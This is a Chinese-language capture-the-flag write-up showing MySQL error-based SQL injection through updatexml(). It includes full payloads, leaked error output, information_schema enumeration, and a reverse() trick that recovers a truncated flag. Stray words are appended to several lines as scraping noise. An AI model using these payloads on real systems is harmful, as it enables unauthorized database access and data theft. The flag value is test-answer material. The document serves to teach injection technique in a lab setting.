發現有錯誤回顯,因而想到updatexml報錯注入php
http://ae67e27b918d4e49ad5c1cd6e8c6d4459137e5d215634ec1.game.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
看到數據庫words,在報錯注入中還有一種簡單的方式判斷當前數據庫即構造?id=a()mysql
該句表示在words數據庫中不存在a表,一次輸入如下函數的到返回信息sql
user() XPATH syntax error: '~root@localhost~' database() XPATH syntax error: '~words~' version() XPATH syntax error: '~5.5.57-0ubuntu0.14.04.1~' @@datadir XPATH syntax error: '~/var/lib/mysql/~'
接下來查表數目
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) #查詢數據庫中有多少表
找到表f14g數據庫
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 81,1),0x7e),1)
查表的數目ubuntu
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)
找到fl4g字段函數
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 808,1),0x7e),1)
讀字段找flagspa
?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
我感受此題最經典的地方在於flag不徹底顯示出來,要用到sql語句的另外一個函數reverse()code
?id=updatexml(1,concat(reverse((select f14g from f14g))),1)
因此最後flag爲flag{aedc780c-21f9-472a-9ae6-235fc568086c}orm